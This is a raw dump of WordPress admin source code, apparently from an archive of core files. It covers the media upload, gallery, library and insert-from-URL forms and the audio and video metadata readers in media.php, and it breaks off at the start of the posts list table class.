wp-admin/includes/media.php */ if ( ! apply_filters( 'disable_captions', '' ) ) { ?> if ( f.caption.value ) { caption = f.caption.value.replace(/\r\n|\r/g, '\n'); caption = caption.replace(/<[a-zA-Z0-9]+( [^<>]+)?>/g, function(a){ return a.replace(/[\r\n\t]+/, ' '); }); caption = caption.replace(/\s*\n\s*/g, '<br />'); } <?php } ?> cls = caption ? '' : ' class="'+t.align+'"'; html = '<img alt="'+alt+'" src="'+f.src.value+'"'+cls+' width="'+t.width+'" height="'+t.height+'" />'; if ( f.url.value ) { url = f.url.value.replace(/'/g, ''').replace(/"/g, '"').replace(/</g, '<').replace(/>/g, '>'); html = '<a href="'+url+'">'+html+'</a>'; } if ( caption ) html = '[caption id="" align="'+t.align+'" width="'+t.width+'"]'+html+caption+'[/caption]'; var win = window.dialogArguments || opener || parent || top; win.send_to_editor(html); return false; }, resetImageData : function() { var t = addExtImage; t.width = t.height = ''; document.getElementById('go_button').style.color = '#bbb'; if ( ! document.forms[0].src.value ) document.getElementById('status_img').innerHTML = '*'; else document.getElementById('status_img').innerHTML = '<img src="<?php echo esc_url( admin_url( 'images/no.png' ) ); ?>" alt="" />'; }, updateImageData : function() { var t = addExtImage; t.width = t.preloadImg.width; t.height = t.preloadImg.height; document.getElementById('go_button').style.color = '#333'; document.getElementById('status_img').innerHTML = '<img src="<?php echo esc_url( admin_url( 'images/yes.png' ) ); ?>" alt="" />'; }, getImageData : function() { if ( jQuery('table.describe').hasClass('not-image') ) return; var t = addExtImage, src = document.forms[0].src.value; if ( ! src ) { t.resetImageData(); return false; } document.getElementById('status_img').innerHTML = '<img src="<?php echo esc_url( admin_url( 'images/wpspin_light.gif' ) ); ?>" alt="" width="16" />'; t.preloadImg = new Image(); t.preloadImg.onload = t.updateImageData; t.preloadImg.onerror = t.resetImageData; t.preloadImg.src = src; } } jQuery(document).ready( function($) { $('.media-types input').click( function() { $('table.describe').toggleClass('not-image', $('#not-image').prop('checked') ); }); }); //]]> </script> <div id="media-items"> <div class="media-item media-blank"> <?php /** * Filter the insert media from URL form HTML. * * @since 3.3.0 * * @param string $form_html The insert from URL form HTML. */ echo apply_filters( 'type_url_form_media', wp_media_insert_url_form( $type ) ); ?> </div> </div> </form> <?php } /** * Adds gallery form to upload iframe * * @since 2.5.0 * * @param array $errors */ function media_upload_gallery_form($errors) { global $redir_tab, $type; $redir_tab = 'gallery'; media_upload_header(); $post_id = intval($_REQUEST['post_id']); $form_action_url = admin_url("media-upload.php?type=$type&tab=gallery&post_id=$post_id"); /** This filter is documented in wp-admin/includes/media.php */ $form_action_url = apply_filters( 'media_upload_form_url', $form_action_url, $type ); $form_class = 'media-upload-form validate'; if ( get_user_setting('uploader') ) $form_class .= ' html-uploader'; ?> <script type="text/javascript"> <!-- jQuery(function($){ var preloaded = $(".media-item.preloaded"); if ( preloaded.length > 0 ) { preloaded.each(function(){prepareMediaItem({id:this.id.replace(/[^0-9]/g, '')},'');}); updateMediaForm(); } }); --> </script> <div id="sort-buttons" class="hide-if-no-js"> <span> <?php _e('All Tabs:'); ?> <a href="#" id="showall"><?php _e('Show'); ?></a> <a href="#" id="hideall" style="display:none;"><?php _e('Hide'); ?></a> </span> <?php _e('Sort Order:'); ?> <a href="#" id="asc"><?php _e('Ascending'); ?></a> | <a href="#" id="desc"><?php _e('Descending'); ?></a> | <a href="#" id="clear"><?php _ex('Clear', 'verb'); ?></a> </div> <form enctype="multipart/form-data" method="post" action="<?php echo esc_url( $form_action_url ); ?>" class="<?php echo $form_class; ?>" id="gallery-form"> <?php wp_nonce_field('media-form'); ?> <?php //media_upload_form( $errors ); ?> <table class="widefat"> <thead><tr> <th><?php _e('Media'); ?></th> <th class="order-head"><?php _e('Order'); ?></th> <th class="actions-head"><?php _e('Actions'); ?></th> </tr></thead> </table> <div id="media-items"> <?php add_filter('attachment_fields_to_edit', 'media_post_single_attachment_fields_to_edit', 10, 2); ?> <?php echo get_media_items($post_id, $errors); ?> </div> <p class="ml-submit"> <?php submit_button( __( 'Save all changes' ), 'button savebutton', 'save', false, array( 'id' => 'save-all', 'style' => 'display: none;' ) ); ?> <input type="hidden" name="post_id" id="post_id" value="<?php echo (int) $post_id; ?>" /> <input type="hidden" name="type" value="<?php echo esc_attr( $GLOBALS['type'] ); ?>" /> <input type="hidden" name="tab" value="<?php echo esc_attr( $GLOBALS['tab'] ); ?>" /> </p> <div id="gallery-settings" style="display:none;"> <div class="title"><?php _e('Gallery Settings'); ?></div> <table id="basic" class="describe"><tbody> <tr> <th scope="row" class="label"> <label> <span class="alignleft"><?php _e('Link thumbnails to:'); ?></span> </label> </th> <td class="field"> <input type="radio" name="linkto" id="linkto-file" value="file" /> <label for="linkto-file" class="radio"><?php _e('Image File'); ?></label> <input type="radio" checked="checked" name="linkto" id="linkto-post" value="post" /> <label for="linkto-post" class="radio"><?php _e('Attachment Page'); ?></label> </td> </tr> <tr> <th scope="row" class="label"> <label> <span class="alignleft"><?php _e('Order images by:'); ?></span> </label> </th> <td class="field"> <select id="orderby" name="orderby"> <option value="menu_order" selected="selected"><?php _e('Menu order'); ?></option> <option value="title"><?php _e('Title'); ?></option> <option value="post_date"><?php _e('Date/Time'); ?></option> <option value="rand"><?php _e('Random'); ?></option> </select> </td> </tr> <tr> <th scope="row" class="label"> <label> <span class="alignleft"><?php _e('Order:'); ?></span> </label> </th> <td class="field"> <input type="radio" checked="checked" name="order" id="order-asc" value="asc" /> <label for="order-asc" class="radio"><?php _e('Ascending'); ?></label> <input type="radio" name="order" id="order-desc" value="desc" /> <label for="order-desc" class="radio"><?php _e('Descending'); ?></label> </td> </tr> <tr> <th scope="row" class="label"> <label> <span class="alignleft"><?php _e('Gallery columns:'); ?></span> </label> </th> <td class="field"> <select id="columns" name="columns"> <option value="1">1</option> <option value="2">2</option> <option value="3" selected="selected">3</option> <option value="4">4</option> <option value="5">5</option> <option value="6">6</option> <option value="7">7</option> <option value="8">8</option> <option value="9">9</option> </select> </td> </tr> </tbody></table> <p class="ml-submit"> <input type="button" class="button" style="display:none;" onMouseDown="wpgallery.update();" name="insert-gallery" id="insert-gallery" value="<?php esc_attr_e( 'Insert gallery' ); ?>" /> <input type="button" class="button" style="display:none;" onMouseDown="wpgallery.update();" name="update-gallery" id="update-gallery" value="<?php esc_attr_e( 'Update gallery settings' ); ?>" /> </p> </div> </form> <?php } /** * {@internal Missing Short Description}} * * @since 2.5.0 * * @param array $errors */ function media_upload_library_form($errors) { global $wpdb, $wp_query, $wp_locale, $type, $tab, $post_mime_types; media_upload_header(); $post_id = isset( $_REQUEST['post_id'] ) ? intval( $_REQUEST['post_id'] ) : 0; $form_action_url = admin_url("media-upload.php?type=$type&tab=library&post_id=$post_id"); /** This filter is documented in wp-admin/includes/media.php */ $form_action_url = apply_filters( 'media_upload_form_url', $form_action_url, $type ); $form_class = 'media-upload-form validate'; if ( get_user_setting('uploader') ) $form_class .= ' html-uploader'; $q = $_GET; $q['posts_per_page'] = 10; $q['paged'] = isset( $q['paged'] ) ? intval( $q['paged'] ) : 0; if ( $q['paged'] < 1 ) { $q['paged'] = 1; } $q['offset'] = ( $q['paged'] - 1 ) * 10; if ( $q['offset'] < 1 ) { $q['offset'] = 0; } list($post_mime_types, $avail_post_mime_types) = wp_edit_attachments_query( $q ); ?> <form id="filter" action="" method="get"> <input type="hidden" name="type" value="<?php echo esc_attr( $type ); ?>" /> <input type="hidden" name="tab" value="<?php echo esc_attr( $tab ); ?>" /> <input type="hidden" name="post_id" value="<?php echo (int) $post_id; ?>" /> <input type="hidden" name="post_mime_type" value="<?php echo isset( $_GET['post_mime_type'] ) ? esc_attr( $_GET['post_mime_type'] ) : ''; ?>" /> <input type="hidden" name="context" value="<?php echo isset( $_GET['context'] ) ? esc_attr( $_GET['context'] ) : ''; ?>" /> <p id="media-search" class="search-box"> <label class="screen-reader-text" for="media-search-input"><?php _e('Search Media');?>:</label> <input type="search" id="media-search-input" name="s" value="<?php the_search_query(); ?>" /> <?php submit_button( __( 'Search Media' ), 'button', '', false ); ?> </p> <ul class="subsubsub"> <?php $type_links = array(); $_num_posts = (array) wp_count_attachments(); $matches = wp_match_mime_types(array_keys($post_mime_types), array_keys($_num_posts)); foreach ( $matches as $_type => $reals ) foreach ( $reals as $real ) if ( isset($num_posts[$_type]) ) $num_posts[$_type] += $_num_posts[$real]; else $num_posts[$_type] = $_num_posts[$real]; // If available type specified by media button clicked, filter by that type if ( empty($_GET['post_mime_type']) && !empty($num_posts[$type]) ) { $_GET['post_mime_type'] = $type; list($post_mime_types, $avail_post_mime_types) = wp_edit_attachments_query(); } if ( empty($_GET['post_mime_type']) || $_GET['post_mime_type'] == 'all' ) $class = ' class="current"'; else $class = ''; $type_links[] = "<li><a href='" . esc_url(add_query_arg(array('post_mime_type'=>'all', 'paged'=>false, 'm'=>false))) . "'$class>".__('All Types')."</a>"; foreach ( $post_mime_types as $mime_type => $label ) { $class = ''; if ( !wp_match_mime_types($mime_type, $avail_post_mime_types) ) continue; if ( isset($_GET['post_mime_type']) && wp_match_mime_types($mime_type, $_GET['post_mime_type']) ) $class = ' class="current"'; $type_links[] = "<li><a href='" . esc_url(add_query_arg(array('post_mime_type'=>$mime_type, 'paged'=>false))) . "'$class>" . sprintf( translate_nooped_plural( $label[2], $num_posts[$mime_type] ), "<span id='$mime_type-counter'>" . number_format_i18n( $num_posts[$mime_type] ) . '</span>') . '</a>'; } /** * Filter the media upload mime type list items. * * Returned values should begin with an <li> tag. * * @since 3.1.0 * * @param array $type_links An array of list items containing mime type link HTML. */ echo implode(' | </li>', apply_filters( 'media_upload_mime_type_links', $type_links ) ) . '</li>'; unset($type_links); ?> </ul> <div class="tablenav"> <?php $page_links = paginate_links( array( 'base' => add_query_arg( 'paged', '%#%' ), 'format' => '', 'prev_text' => __('«'), 'next_text' => __('»'), 'total' => ceil($wp_query->found_posts / 10), 'current' => $q['paged'], )); if ( $page_links ) echo "<div class='tablenav-pages'>$page_links</div>"; ?> <div class="alignleft actions"> <?php $arc_query = "SELECT DISTINCT YEAR(post_date) AS yyear, MONTH(post_date) AS mmonth FROM $wpdb->posts WHERE post_type = 'attachment' ORDER BY post_date DESC"; $arc_result = $wpdb->get_results( $arc_query ); $month_count = count($arc_result); $selected_month = isset( $_GET['m'] ) ? $_GET['m'] : 0; if ( $month_count && !( 1 == $month_count && 0 == $arc_result[0]->mmonth ) ) { ?> <select name='m'> <option<?php selected( $selected_month, 0 ); ?> value='0'><?php _e( 'All dates' ); ?></option> <?php foreach ($arc_result as $arc_row) { if ( $arc_row->yyear == 0 ) continue; $arc_row->mmonth = zeroise( $arc_row->mmonth, 2 ); if ( $arc_row->yyear . $arc_row->mmonth == $selected_month ) $default = ' selected="selected"'; else $default = ''; echo "<option$default value='" . esc_attr( $arc_row->yyear . $arc_row->mmonth ) . "'>"; echo esc_html( $wp_locale->get_month($arc_row->mmonth) . " $arc_row->yyear" ); echo "</option>\n"; } ?> </select> <?php } ?> <?php submit_button( __( 'Filter »' ), 'button', 'post-query-submit', false ); ?> </div> <br class="clear" /> </div> </form> <form enctype="multipart/form-data" method="post" action="<?php echo esc_url( $form_action_url ); ?>" class="<?php echo $form_class; ?>" id="library-form"> <?php wp_nonce_field('media-form'); ?> <?php //media_upload_form( $errors ); ?> <script type="text/javascript"> <!-- jQuery(function($){ var preloaded = $(".media-item.preloaded"); if ( preloaded.length > 0 ) { preloaded.each(function(){prepareMediaItem({id:this.id.replace(/[^0-9]/g, '')},'');}); updateMediaForm(); } }); --> </script> <div id="media-items"> <?php add_filter('attachment_fields_to_edit', 'media_post_single_attachment_fields_to_edit', 10, 2); ?> <?php echo get_media_items(null, $errors); ?> </div> <p class="ml-submit"> <?php submit_button( __( 'Save all changes' ), 'button savebutton', 'save', false ); ?> <input type="hidden" name="post_id" id="post_id" value="<?php echo (int) $post_id; ?>" /> </p> </form> <?php } /** * Creates the form for external url * * @since 2.7.0 * * @param string $default_view * @return string the form html */ function wp_media_insert_url_form( $default_view = 'image' ) { /** This filter is documented in wp-admin/includes/media.php */ if ( ! apply_filters( 'disable_captions', '' ) ) { $caption = ' <tr class="image-only"> <th scope="row" class="label"> <label for="caption"><span class="alignleft">' . __('Image Caption') . '</span></label> </th> <td class="field"><textarea id="caption" name="caption"></textarea></td> </tr> '; } else { $caption = ''; } $default_align = get_option('image_default_align'); if ( empty($default_align) ) $default_align = 'none'; if ( 'image' == $default_view ) { $view = 'image-only'; $table_class = ''; } else { $view = $table_class = 'not-image'; } return ' <p class="media-types"><label><input type="radio" name="media_type" value="image" id="image-only"' . checked( 'image-only', $view, false ) . ' /> ' . __( 'Image' ) . '</label> <label><input type="radio" name="media_type" value="generic" id="not-image"' . checked( 'not-image', $view, false ) . ' /> ' . __( 'Audio, Video, or Other File' ) . '</label></p> <table class="describe ' . $table_class . '"><tbody> <tr> <th scope="row" class="label" style="width:130px;"> <label for="src"><span class="alignleft">' . __('URL') . '</span></label> <span class="alignright"><abbr id="status_img" title="required" class="required">*</abbr></span> </th> <td class="field"><input id="src" name="src" value="" type="text" aria-required="true" onblur="addExtImage.getImageData()" /></td> </tr> <tr> <th scope="row" class="label"> <label for="title"><span class="alignleft">' . __('Title') . '</span></label> <span class="alignright"><abbr title="required" class="required">*</abbr></span> </th> <td class="field"><input id="title" name="title" value="" type="text" aria-required="true" /></td> </tr> <tr class="not-image"><td></td><td><p class="help">' . __('Link text, e.g. “Ransom Demands (PDF)”') . '</p></td></tr> <tr class="image-only"> <th scope="row" class="label"> <label for="alt"><span class="alignleft">' . __('Alternative Text') . '</span></label> </th> <td class="field"><input id="alt" name="alt" value="" type="text" aria-required="true" /> <p class="help">' . __('Alt text for the image, e.g. “The Mona Lisa”') . '</p></td> </tr> ' . $caption . ' <tr class="align image-only"> <th scope="row" class="label"><p><label for="align">' . __('Alignment') . '</label></p></th> <td class="field"> <input name="align" id="align-none" value="none" onclick="addExtImage.align=\'align\'+this.value" type="radio"' . ($default_align == 'none' ? ' checked="checked"' : '').' /> <label for="align-none" class="align image-align-none-label">' . __('None') . '</label> <input name="align" id="align-left" value="left" onclick="addExtImage.align=\'align\'+this.value" type="radio"' . ($default_align == 'left' ? ' checked="checked"' : '').' /> <label for="align-left" class="align image-align-left-label">' . __('Left') . '</label> <input name="align" id="align-center" value="center" onclick="addExtImage.align=\'align\'+this.value" type="radio"' . ($default_align == 'center' ? ' checked="checked"' : '').' /> <label for="align-center" class="align image-align-center-label">' . __('Center') . '</label> <input name="align" id="align-right" value="right" onclick="addExtImage.align=\'align\'+this.value" type="radio"' . ($default_align == 'right' ? ' checked="checked"' : '').' /> <label for="align-right" class="align image-align-right-label">' . __('Right') . '</label> </td> </tr> <tr class="image-only"> <th scope="row" class="label"> <label for="url"><span class="alignleft">' . __('Link Image To:') . '</span></label> </th> <td class="field"><input id="url" name="url" value="" type="text" /><br /> <button type="button" class="button" value="" onclick="document.forms[0].url.value=null">' . __('None') . '</button> <button type="button" class="button" value="" onclick="document.forms[0].url.value=document.forms[0].src.value">' . __('Link to image') . '</button> <p class="help">' . __('Enter a link URL or click above for presets.') . '</p></td> </tr> <tr class="image-only"> <td></td> <td> <input type="button" class="button" id="go_button" style="color:#bbb;" onclick="addExtImage.insert()" value="' . esc_attr__('Insert into Post') . '" /> </td> </tr> <tr class="not-image"> <td></td> <td> ' . get_submit_button( __( 'Insert into Post' ), 'button', 'insertonlybutton', false ) . ' </td> </tr> </tbody></table> '; } /** * Displays the multi-file uploader message. * * @since 2.6.0 */ function media_upload_flash_bypass() { $browser_uploader = admin_url( 'media-new.php?browser-uploader' ); if ( $post = get_post() ) $browser_uploader .= '&post_id=' . intval( $post->ID ); elseif ( ! empty( $GLOBALS['post_ID'] ) ) $browser_uploader .= '&post_id=' . intval( $GLOBALS['post_ID'] ); ?> <p class="upload-flash-bypass"> <?php printf( __( 'You are using the multi-file uploader. Problems? Try the <a href="%1$s" target="%2$s">browser uploader</a> instead.' ), $browser_uploader, '_blank' ); ?> </p> <?php } add_action('post-plupload-upload-ui', 'media_upload_flash_bypass'); /** * Displays the browser's built-in uploader message. * * @since 2.6.0 */ function media_upload_html_bypass() { ?> <p class="upload-html-bypass hide-if-no-js"> <?php _e('You are using the browser’s built-in file uploader. The WordPress uploader includes multiple file selection and drag and drop capability. <a href="#">Switch to the multi-file uploader</a>.'); ?> </p> <?php } add_action('post-html-upload-ui', 'media_upload_html_bypass'); /** * Used to display a "After a file has been uploaded..." help message. * * @since 3.3.0 */ function media_upload_text_after() {} /** * Displays the checkbox to scale images. * * @since 3.3.0 */ function media_upload_max_image_resize() { $checked = get_user_setting('upload_resize') ? ' checked="true"' : ''; $a = $end = ''; if ( current_user_can( 'manage_options' ) ) { $a = '<a href="' . esc_url( admin_url( 'options-media.php' ) ) . '" target="_blank">'; $end = '</a>'; } ?> <p class="hide-if-no-js"><label> <input name="image_resize" type="checkbox" id="image_resize" value="true"<?php echo $checked; ?> /> <?php /* translators: %1$s is link start tag, %2$s is link end tag, %3$d is width, %4$d is height*/ printf( __( 'Scale images to match the large size selected in %1$simage options%2$s (%3$d × %4$d).' ), $a, $end, (int) get_option( 'large_size_w', '1024' ), (int) get_option( 'large_size_h', '1024' ) ); ?> </label></p> <?php } /** * Displays the out of storage quota message in Multisite. * * @since 3.5.0 */ function multisite_over_quota_message() { echo '<p>' . sprintf( __( 'Sorry, you have used all of your storage quota of %s MB.' ), get_space_allowed() ) . '</p>'; } /** * Displays the image and editor in the post editor * * @since 3.5.0 */ function edit_form_image_editor( $post ) { $open = isset( $_GET['image-editor'] ); if ( $open ) require_once ABSPATH . 'wp-admin/includes/image-edit.php'; $thumb_url = false; if ( $attachment_id = intval( $post->ID ) ) $thumb_url = wp_get_attachment_image_src( $attachment_id, array( 900, 450 ), true ); $filename = esc_html( basename( $post->guid ) ); $title = esc_attr( $post->post_title ); $alt_text = get_post_meta( $post->ID, '_wp_attachment_image_alt', true ); $att_url = wp_get_attachment_url( $post->ID ); ?> <div class="wp_attachment_holder"> <?php if ( wp_attachment_is_image( $post->ID ) ) : $image_edit_button = ''; if ( wp_image_editor_supports( array( 'mime_type' => $post->post_mime_type ) ) ) { $nonce = wp_create_nonce( "image_editor-$post->ID" ); $image_edit_button = "<input type='button' id='imgedit-open-btn-$post->ID' onclick='imageEdit.open( $post->ID, \"$nonce\" )' class='button' value='" . esc_attr__( 'Edit Image' ) . "' /> <span class='spinner'></span>"; } ?> <div class="imgedit-response" id="imgedit-response-<?php echo $attachment_id; ?>"></div> <div<?php if ( $open ) echo ' style="display:none"'; ?> class="wp_attachment_image" id="media-head-<?php echo $attachment_id; ?>"> <p id="thumbnail-head-<?php echo $attachment_id; ?>"><img class="thumbnail" src="<?php echo set_url_scheme( $thumb_url[0] ); ?>" style="max-width:100%" alt="" /></p> <p><?php echo $image_edit_button; ?></p> </div> <div<?php if ( ! $open ) echo ' style="display:none"'; ?> class="image-editor" id="image-editor-<?php echo $attachment_id; ?>"> <?php if ( $open ) wp_image_editor( $attachment_id ); ?> </div> <?php elseif ( $attachment_id && 0 === strpos( $post->post_mime_type, 'audio/' ) ): wp_maybe_generate_attachment_metadata( $post ); echo wp_audio_shortcode( array( 'src' => $att_url ) ); elseif ( $attachment_id && 0 === strpos( $post->post_mime_type, 'video/' ) ): wp_maybe_generate_attachment_metadata( $post ); $meta = wp_get_attachment_metadata( $attachment_id ); $w = ! empty( $meta['width'] ) ? min( $meta['width'], 640 ) : 0; $h = ! empty( $meta['height'] ) ? $meta['height'] : 0; if ( $h && $w < $meta['width'] ) { $h = round( ( $meta['height'] * $w ) / $meta['width'] ); } $attr = array( 'src' => $att_url ); if ( ! empty( $w ) && ! empty( $h ) ) { $attr['width'] = $w; $attr['height'] = $h; } echo wp_video_shortcode( $attr ); endif; ?> </div> <div class="wp_attachment_details edit-form-section"> <p> <label for="attachment_caption"><strong><?php _e( 'Caption' ); ?></strong></label><br /> <textarea class="widefat" name="excerpt" id="attachment_caption"><?php echo $post->post_excerpt; ?></textarea> </p> <?php if ( 'image' === substr( $post->post_mime_type, 0, 5 ) ) : ?> <p> <label for="attachment_alt"><strong><?php _e( 'Alternative Text' ); ?></strong></label><br /> <input type="text" class="widefat" name="_wp_attachment_image_alt" id="attachment_alt" value="<?php echo esc_attr( $alt_text ); ?>" /> </p> <?php endif; ?> <?php $quicktags_settings = array( 'buttons' => 'strong,em,link,block,del,ins,img,ul,ol,li,code,close' ); $editor_args = array( 'textarea_name' => 'content', 'textarea_rows' => 5, 'media_buttons' => false, 'tinymce' => false, 'quicktags' => $quicktags_settings, ); ?> <label for="content"><strong><?php _e( 'Description' ); ?></strong><?php if ( preg_match( '#^(audio|video)/#', $post->post_mime_type ) ) { echo ': ' . __( 'Displayed on attachment pages.' ); } ?> </label> <?php wp_editor( format_to_edit( $post->post_content ), 'attachment_content', $editor_args ); ?> </div> <?php $extras = get_compat_media_markup( $post->ID ); echo $extras['item']; echo '<input type="hidden" id="image-edit-context" value="edit-attachment" />' . "\n"; } /** * Displays non-editable attachment metadata in the publish metabox * * @since 3.5.0 */ function attachment_submitbox_metadata() { $post = get_post(); $filename = esc_html( wp_basename( $post->guid ) ); $media_dims = ''; $meta = wp_get_attachment_metadata( $post->ID ); if ( isset( $meta['width'], $meta['height'] ) ) $media_dims .= "<span id='media-dims-$post->ID'>{$meta['width']} × {$meta['height']}</span> "; /** This filter is documented in wp-admin/includes/media.php */ $media_dims = apply_filters( 'media_meta', $media_dims, $post ); $att_url = wp_get_attachment_url( $post->ID ); ?> <div class="misc-pub-section misc-pub-attachment"> <label for="attachment_url"><?php _e( 'File URL:' ); ?></label> <input type="text" class="widefat urlfield" readonly="readonly" name="attachment_url" value="<?php echo esc_attr($att_url); ?>" /> </div> <div class="misc-pub-section misc-pub-filename"> <?php _e( 'File name:' ); ?> <strong><?php echo $filename; ?></strong> </div> <div class="misc-pub-section misc-pub-filetype"> <?php _e( 'File type:' ); ?> <strong><?php if ( preg_match( '/^.*?\.(\w+)$/', get_attached_file( $post->ID ), $matches ) ) { echo esc_html( strtoupper( $matches[1] ) ); list( $mime_type ) = explode( '/', $post->post_mime_type ); if ( $mime_type !== 'image' && ! empty( $meta['mime_type'] ) ) { if ( $meta['mime_type'] !== "$mime_type/" . strtolower( $matches[1] ) ) { echo ' (' . $meta['mime_type'] . ')'; } } } else { echo strtoupper( str_replace( 'image/', '', $post->post_mime_type ) ); } ?></strong> </div> <?php $file = get_attached_file( $post->ID ); $file_size = false; if ( isset( $meta['filesize'] ) ) $file_size = $meta['filesize']; elseif ( file_exists( $file ) ) $file_size = filesize( $file ); if ( ! empty( $file_size ) ) : ?> <div class="misc-pub-section misc-pub-filesize"> <?php _e( 'File size:' ); ?> <strong><?php echo size_format( $file_size ); ?></strong> </div> <?php endif; if ( preg_match( '#^(audio|video)/#', $post->post_mime_type ) ) { /** * Filter the audio and video metadata fields to be shown in the publish meta box. * * The key for each item in the array should correspond to an attachment * metadata key, and the value should be the desired label. * * @since 3.7.0 * * @param array $fields An array of the attachment metadata keys and labels. */ $fields = apply_filters( 'media_submitbox_misc_sections', array( 'length_formatted' => __( 'Length:' ), 'bitrate' => __( 'Bitrate:' ), ) ); foreach ( $fields as $key => $label ) { if ( empty( $meta[ $key ] ) ) { continue; } ?> <div class="misc-pub-section misc-pub-mime-meta misc-pub-<?php echo sanitize_html_class( $key ); ?>"> <?php echo $label ?> <strong><?php switch ( $key ) { case 'bitrate' : echo round( $meta['bitrate'] / 1000 ) . 'kb/s'; if ( ! empty( $meta['bitrate_mode'] ) ) { echo ' ' . strtoupper( esc_html( $meta['bitrate_mode'] ) ); } break; default: echo esc_html( $meta[ $key ] ); break; } ?></strong> </div> <?php } /** * Filter the audio attachment metadata fields to be shown in the publish meta box. * * The key for each item in the array should correspond to an attachment * metadata key, and the value should be the desired label. * * @since 3.7.0 * * @param array $fields An array of the attachment metadata keys and labels. */ $audio_fields = apply_filters( 'audio_submitbox_misc_sections', array( 'dataformat' => __( 'Audio Format:' ), 'codec' => __( 'Audio Codec:' ) ) ); foreach ( $audio_fields as $key => $label ) { if ( empty( $meta['audio'][ $key ] ) ) { continue; } ?> <div class="misc-pub-section misc-pub-audio misc-pub-<?php echo sanitize_html_class( $key ); ?>"> <?php echo $label; ?> <strong><?php echo esc_html( $meta['audio'][$key] ); ?></strong> </div> <?php } } if ( $media_dims ) : ?> <div class="misc-pub-section misc-pub-dimensions"> <?php _e( 'Dimensions:' ); ?> <strong><?php echo $media_dims; ?></strong> </div> <?php endif; } add_filter( 'async_upload_image', 'get_media_item', 10, 2 ); add_filter( 'async_upload_audio', 'get_media_item', 10, 2 ); add_filter( 'async_upload_video', 'get_media_item', 10, 2 ); add_filter( 'async_upload_file', 'get_media_item', 10, 2 ); add_action( 'media_upload_image', 'wp_media_upload_handler' ); add_action( 'media_upload_audio', 'wp_media_upload_handler' ); add_action( 'media_upload_video', 'wp_media_upload_handler' ); add_action( 'media_upload_file', 'wp_media_upload_handler' ); add_filter( 'media_upload_gallery', 'media_upload_gallery' ); add_filter( 'media_upload_library', 'media_upload_library' ); add_action( 'attachment_submitbox_misc_actions', 'attachment_submitbox_metadata' ); /** * Parse ID3v2, ID3v1, and getID3 comments to extract usable data * * @since 3.6.0 * * @param array $metadata An existing array with data * @param array $data Data supplied by ID3 tags */ function wp_add_id3_tag_data( &$metadata, $data ) { foreach ( array( 'id3v2', 'id3v1' ) as $version ) { if ( ! empty( $data[$version]['comments'] ) ) { foreach ( $data[$version]['comments'] as $key => $list ) { if ( ! empty( $list ) ) { $metadata[$key] = wp_kses_post( reset( $list ) ); // fix bug in byte stream analysis if ( 'terms_of_use' === $key && 0 === strpos( $metadata[$key], 'yright notice.' ) ) $metadata[$key] = 'Cop' . $metadata[$key]; } } break; } } if ( ! empty( $data['id3v2']['APIC'] ) ) { $image = reset( $data['id3v2']['APIC']); if ( ! empty( $image['data'] ) ) { $metadata['image'] = array( 'data' => $image['data'], 'mime' => $image['image_mime'], 'width' => $image['image_width'], 'height' => $image['image_height'] ); } } elseif ( ! empty( $data['comments']['picture'] ) ) { $image = reset( $data['comments']['picture'] ); if ( ! empty( $image['data'] ) ) { $metadata['image'] = array( 'data' => $image['data'], 'mime' => $image['image_mime'] ); } } } /** * Retrieve metadata from a video file's ID3 tags * * @since 3.6.0 * * @param string $file Path to file. * @return array|boolean Returns array of metadata, if found. */ function wp_read_video_metadata( $file ) { if ( ! file_exists( $file ) ) return false; $metadata = array(); if ( ! class_exists( 'getID3' ) ) require( ABSPATH . WPINC . '/ID3/getid3.php' ); $id3 = new getID3(); $data = $id3->analyze( $file ); if ( isset( $data['video']['lossless'] ) ) $metadata['lossless'] = $data['video']['lossless']; if ( ! empty( $data['video']['bitrate'] ) ) $metadata['bitrate'] = (int) $data['video']['bitrate']; if ( ! empty( $data['video']['bitrate_mode'] ) ) $metadata['bitrate_mode'] = $data['video']['bitrate_mode']; if ( ! empty( $data['filesize'] ) ) $metadata['filesize'] = (int) $data['filesize']; if ( ! empty( $data['mime_type'] ) ) $metadata['mime_type'] = $data['mime_type']; if ( ! empty( $data['playtime_seconds'] ) ) $metadata['length'] = (int) ceil( $data['playtime_seconds'] ); if ( ! empty( $data['playtime_string'] ) ) $metadata['length_formatted'] = $data['playtime_string']; if ( ! empty( $data['video']['resolution_x'] ) ) $metadata['width'] = (int) $data['video']['resolution_x']; if ( ! empty( $data['video']['resolution_y'] ) ) $metadata['height'] = (int) $data['video']['resolution_y']; if ( ! empty( $data['fileformat'] ) ) $metadata['fileformat'] = $data['fileformat']; if ( ! empty( $data['video']['dataformat'] ) ) $metadata['dataformat'] = $data['video']['dataformat']; if ( ! empty( $data['video']['encoder'] ) ) $metadata['encoder'] = $data['video']['encoder']; if ( ! empty( $data['video']['codec'] ) ) $metadata['codec'] = $data['video']['codec']; if ( ! empty( $data['audio'] ) ) { unset( $data['audio']['streams'] ); $metadata['audio'] = $data['audio']; } wp_add_id3_tag_data( $metadata, $data ); return $metadata; } /** * Retrieve metadata from a audio file's ID3 tags * * @since 3.6.0 * * @param string $file Path to file. * @return array|boolean Returns array of metadata, if found. */ function wp_read_audio_metadata( $file ) { if ( ! file_exists( $file ) ) return false; $metadata = array(); if ( ! class_exists( 'getID3' ) ) require( ABSPATH . WPINC . '/ID3/getid3.php' ); $id3 = new getID3(); $data = $id3->analyze( $file ); if ( ! empty( $data['audio'] ) ) { unset( $data['audio']['streams'] ); $metadata = $data['audio']; } if ( ! empty( $data['fileformat'] ) ) $metadata['fileformat'] = $data['fileformat']; if ( ! empty( $data['filesize'] ) ) $metadata['filesize'] = (int) $data['filesize']; if ( ! empty( $data['mime_type'] ) ) $metadata['mime_type'] = $data['mime_type']; if ( ! empty( $data['playtime_seconds'] ) ) $metadata['length'] = (int) ceil( $data['playtime_seconds'] ); if ( ! empty( $data['playtime_string'] ) ) $metadata['length_formatted'] = $data['playtime_string']; wp_add_id3_tag_data( $metadata, $data ); return $metadata; } class-wp-posts-list-table.php000077700000122002151514577750012237 0ustar00<?php /** * Posts List Table class. * * @package WordPress * @subpackage List_Table * @since 3.1.0 * @access private */ class WP_Posts_List_Table extends WP_List_Table { /** * Whether the items should be displayed hierarchically or linearly * * @since 3.1.0 * @var bool * @access protected */ var $hierarchical_display; /** * Holds the number of pending comments for each post * * @since 3.1.0 * @var int * @access protected */ var $comment_pending_count; /** * Holds the number of posts for this user * * @since 3.1.0 * @var int * @access private */ var $user_posts_count; /** * Holds the number of posts which are sticky. * * @since 3.1.0 * @var int * @access private */ var $sticky_posts_count = 0; function __construct( $args = array() ) { global $post_type_object, $wpdb; parent::__construct( array( 'plural' => 'posts', 'screen' => isset( $args['screen'] ) ? 